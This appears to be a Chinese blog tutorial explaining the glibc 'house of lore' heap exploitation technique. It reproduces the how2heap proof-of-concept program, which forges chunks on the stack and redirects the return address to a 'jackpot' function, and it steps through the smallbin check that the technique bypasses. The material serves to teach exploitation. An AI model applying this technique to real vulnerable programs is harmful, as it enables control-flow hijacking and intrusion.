通过 glibc2.25 学习 house_of_lore

前言:今日份的进步。。。

通过 house_of_lore,伪造在栈上的 chunk,由于可以操作该 chunk 也就可以操作栈上的任意内容,甚至可以操作控制返回地址,控制执行流程。

0X00 例子

肯定是 how2heap 的例子了

#include 
#include 
#include 
#include 

void jackpot()
{
    puts("Nice jump d00d");
    exit(0);
}

int main(int argc, char *argv[])
{

    intptr_t *stack_buffer_1[4] = {0};
    intptr_t *stack_buffer_2[3] = {0};

    fprintf(stderr, "\nWelcome to the House of Lore\n");
    fprintf(stderr, "This is a revisited version that bypass also the hardening check introduced by glibc malloc\n");
    fprintf(stderr, "This is tested against Ubuntu 14.04.4 - 32bit - glibc-2.23\n\n");
    fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");

    fprintf(stderr, "Allocating the victim chunk\n");
    intptr_t *victim = malloc(100);
    fprintf(stderr, "Allocated the first small chunk on the heap at %p\n", victim);

    // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
    intptr_t *victim_chunk = victim - 2;

    fprintf(stderr, "stack_buffer_1 at %p\n", (void *)stack_buffer_1);
    fprintf(stderr, "stack_buffer_2 at %p\n", (void *)stack_buffer_2);

    fprintf(stderr, "Create a fake chunk on the stack\n");
    fprintf(stderr, "Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted"
                    "in second to the last malloc, which putting stack address on smallbin list\n");
    stack_buffer_1[0] = 0;
    stack_buffer_1[1] = 0;
    stack_buffer_1[2] = victim_chunk;

    fprintf(stderr, "Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 "
                    "in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake "
                    "chunk on stack");
    stack_buffer_1[3] = (intptr_t *)stack_buffer_2;
    stack_buffer_2[2] = (intptr_t *)stack_buffer_1;

    fprintf(stderr, "Allocating another large chunk in order to avoid consolidating the top chunk with"
                    "the small one during the free()\n");
    void *p5 = malloc(1000);
    fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);

    fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
    free((void *)victim);

    fprintf(stderr, "\nIn the unsorted bin the victim's fwd and bk pointers are nil\n");
    fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    fprintf(stderr, "Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\n");
    fprintf(stderr, "This means that the chunk %p will be inserted in front of the SmallBin\n", victim);

    void *p2 = malloc(1200);
    fprintf(stderr, "The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\n", p2);

    fprintf(stderr, "The victim chunk has been sorted and its fwd and bk pointers updated\n");
    fprintf(stderr, "victim->fwd: %p\n", (void *)victim[0]);
    fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]);

    //------------VULNERABILITY-----------

    fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");

    victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack

    //------------------------------------

    fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
    fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");

    void *p3 = malloc(100);

    fprintf(stderr, "This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\n");
    char *p4 = malloc(100);
    fprintf(stderr, "p4 = malloc(100)\n");

    fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
            stack_buffer_2[2]);

    fprintf(stderr, "\np4 is %p and should be on the stack!\n", p4); // this chunk will be allocated on stack
    intptr_t sc = (intptr_t)jackpot;                                 // Emulating our in-memory shellcode
    memcpy((p4 + 40), &sc, 8);                                       // This bypasses stack-smash detection since it jumps over the canary
}

0X01 手动调试与原理讲解

首先我画一个图模拟一下在 stack 中伪造的 chunk:

通过 glibc2.25 学习 house_of_lore_第1张图片

好,我们继续:

free((void *)victim);

free 掉 victim 以后。unsorted bin 中就会有一个空闲的 chunk

void *p2 = malloc(1200);

会从 top chunk 中分配一个 chunk,而且会把 unsorted bin 中的 chunk 放入 small bin 中

假设我们有这样一个可以利用的地方:

victim[1] = (intptr_t)stack_buffer_1;

修改 bk 的值,相当于在 small bin 中插入了一个 chunk

重点看这里发生了什么:

void *p3 = malloc(100);

好,我们开始调试这句话:

通过 glibc2.25 学习 house_of_lore_第2张图片

在进入 unsorted bin 之前有一个 small bin 的分配,代码在这里:

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          if (victim == 0) /* initialization check */
            malloc_consolidate (av);
          else
            {
              bck = victim->bk;
    if (__glibc_unlikely (bck->fd != victim))
                {
                  errstr = "malloc(): smallbin double linked list corrupted";
                  goto errout;
                }
              set_inuse_bit_at_offset (victim, nb);
              bin->bk = bck;
              bck->fd = bin;

              if (av != &main_arena)
        set_non_main_arena (victim);
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
            }
        }
    }

由于 freed chunk 与当前请求的 chunk 在同一个 small bin 序列当中,所以 victim 不为 0,开始尝试把这个 chunk 分配出去

这里仅仅只有一个检查:

if (__glibc_unlikely (bck->fd != victim))
// 等价于
 if(bck->fd != victim)

bck = victim->bk;

我们之前构造了 victim->bk = victim[1] = (intptr_t)stack_buffer_1;

所以为了绕过检查,我们必须将 stack_buffer_1->fd=stack_buffer_1[2]=victim,按照之前的构造我们确实这么做了!所以绕过了检查

接着:

#define set_inuse_bit_at_offset(p, s)                         \
  (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)

// 设置下一个 chunk 上一个 chunk 正在使用
set_inuse_bit_at_offset (victim, nb);
// bin = bin[idx]
// 双向链表的末尾指向
bin->bk = bck;
// 因为 bck =  victim->bk =  stack_buffer_1
// 所以 bck->fd = stack_buffer_1[2]
bck->fd = bin;

现在这个序列的 small bin 末尾就指向了栈上伪造的 chunk。

我们把这个站结构打印出来:

现在,如果又一次 malloc 一个同样大小的 chunk 会发生什么呢?我们继续调试:

又会跳到同样的代码中:

通过 glibc2.25 学习 house_of_lore_第3张图片

因为 bck = victim->bk; 所以 bck 等于 &stack_buffer_2 所以 bck->fd = stack_buffer_2[2] 而我们之前的构造:

stack_buffer_2[2] = (intptr_t *)stack_buffer_1;

绕过了这个检查。接着又是这个代码:

set_inuse_bit_at_offset (victim, nb);
// small bin 的末尾指向 stack_buffer_2
bin->bk = bck;
// stack_buffer_2->fd 指向这个 Bin 序列开始的地方
bck->fd = bin;

如此反复就可以在 stack 上,创造一条假的 chunk 了。甚至可以覆盖栈上的返回地址!

0X02 总结

这个漏洞的关键在于:进入 unsorted bin 分配前的 small bin 分配。

这个 bin 的分配要满足的构造在于:

  • 大小,属于 small bin
  • 写入 chunk 中的 bk 为假 chunk 的地址
  • 假 chunk 中的 fd 要等于这个 chunk 的地址

用一张图来说就是:

通过 glibc2.25 学习 house_of_lore_第4张图片

完结撒花。

你可能感兴趣的:(通过 glibc2.25 学习 house_of_lore)